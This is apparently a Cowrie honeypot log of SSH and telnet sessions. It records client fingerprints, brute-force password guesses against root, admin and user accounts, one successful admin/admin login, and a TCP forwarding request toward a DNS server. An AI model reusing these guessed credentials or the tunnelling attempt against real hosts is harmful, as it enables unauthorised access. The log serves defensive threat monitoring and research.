{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:14.216510Z","src_ip":"170.106.119.118","session":"eeaa5d381a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:14.287690Z","src_ip":"170.106.119.118","session":"eeaa5d381a25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamaliga","message":"login attempt [root/mamaliga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:14.604993Z","src_ip":"170.106.119.118","session":"eeaa5d381a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.14839220046997,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:15.396739Z","src_ip":"152.42.224.71","session":"20ae6c87632e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:15.677254Z","src_ip":"170.106.119.118","session":"eeaa5d381a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cd6547876d8","protocol":"telnet","message":"New connection: 152.42.224.71:33638 (10.17.0.5:23) [session: 0cd6547876d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:24.236362Z"}
{"eventid":"cowrie.session.closed","duration":50.86929178237915,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:26.539531Z","src_ip":"152.42.224.71","session":"5b6e26611e07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":55466,"dst_ip":"10.17.0.5","dst_port":22,"session":"4211370a73e9","protocol":"ssh","message":"New connection: 43.153.22.143:55466 (10.17.0.5:22) [session: 4211370a73e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:28.315318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:28.322874Z","src_ip":"43.153.22.143","session":"4211370a73e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:28.391924Z","src_ip":"43.153.22.143","session":"4211370a73e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene123","message":"login attempt [root/irene123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:28.696061Z","src_ip":"43.153.22.143","session":"4211370a73e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:29.768003Z","src_ip":"43.153.22.143","session":"4211370a73e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13478,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a05c08519d","protocol":"ssh","message":"New connection: 87.251.64.176:13478 (10.17.0.5:22) [session: 22a05c08519d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:29.897360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:29.901720Z","src_ip":"87.251.64.176","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:29.999170Z","src_ip":"87.251.64.176","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:30.298893Z","src_ip":"87.251.64.176","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:30.400488Z","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:30.501140Z","src_ip":"87.251.64.176","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:30.601732Z","src_ip":"87.251.64.176","session":"22a05c08519d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":49350,"dst_ip":"10.17.0.5","dst_port":22,"session":"298d4a7d3f19","protocol":"ssh","message":"New connection: 58.186.20.143:49350 (10.17.0.5:22) [session: 298d4a7d3f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:38.509538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:38.514530Z","src_ip":"58.186.20.143","session":"298d4a7d3f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:38.763270Z","src_ip":"58.186.20.143","session":"298d4a7d3f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antoine","message":"login attempt [root/antoine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:39.783370Z","src_ip":"58.186.20.143","session":"298d4a7d3f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":50298,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f760d1d8e40","protocol":"ssh","message":"New connection: 43.153.124.153:50298 (10.17.0.5:22) [session: 9f760d1d8e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:40.079791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:40.084679Z","src_ip":"43.153.124.153","session":"9f760d1d8e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:40.153232Z","src_ip":"43.153.124.153","session":"9f760d1d8e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data123","message":"login attempt [root/www-data123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:40.458158Z","src_ip":"43.153.124.153","session":"9f760d1d8e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:41.033080Z","src_ip":"58.186.20.143","session":"298d4a7d3f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:41.529259Z","src_ip":"43.153.124.153","session":"9f760d1d8e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0516e3b8ec2","protocol":"telnet","message":"New connection: 152.42.224.71:54222 (10.17.0.5:23) [session: a0516e3b8ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:44.181497Z"}
{"eventid":"cowrie.session.closed","duration":43.5165638923645,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:48.275686Z","src_ip":"152.42.224.71","session":"4862b027dbb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a7f09e5de73","protocol":"ssh","message":"New connection: 2.57.121.112:28474 (10.17.0.5:22) [session: 0a7f09e5de73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:51.141057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:51.145340Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:51.246104Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"911911911","message":"login attempt [admin/911911911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:51.725750Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8letters","message":"login attempt [admin/8letters] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:52.829668Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"87654","message":"login attempt [admin/87654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:53.934809Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8318131","message":"login attempt [admin/8318131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:55.046165Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7xM5RQ","message":"login attempt [admin/7xM5RQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:56.152951Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:57.260741Z","src_ip":"2.57.121.112","session":"0a7f09e5de73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16647,"dst_ip":"10.17.0.5","dst_port":22,"session":"212e71c4aa80","protocol":"ssh","message":"New connection: 2.57.121.25:16647 (10.17.0.5:22) [session: 212e71c4aa80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:00.240931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:00.246080Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:00.352403Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20051977","message":"login attempt [user/20051977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:00.860219Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"200483","message":"login attempt [user/200483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:01.972704Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"200184","message":"login attempt [user/200184] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:03.082269Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20011995","message":"login attempt [user/20011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:04.192763Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.227.193.165","src_port":39978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5869c30cca28","protocol":"ssh","message":"New connection: 192.227.193.165:39978 (10.17.0.5:22) [session: 5869c30cca28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.037201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.042643Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
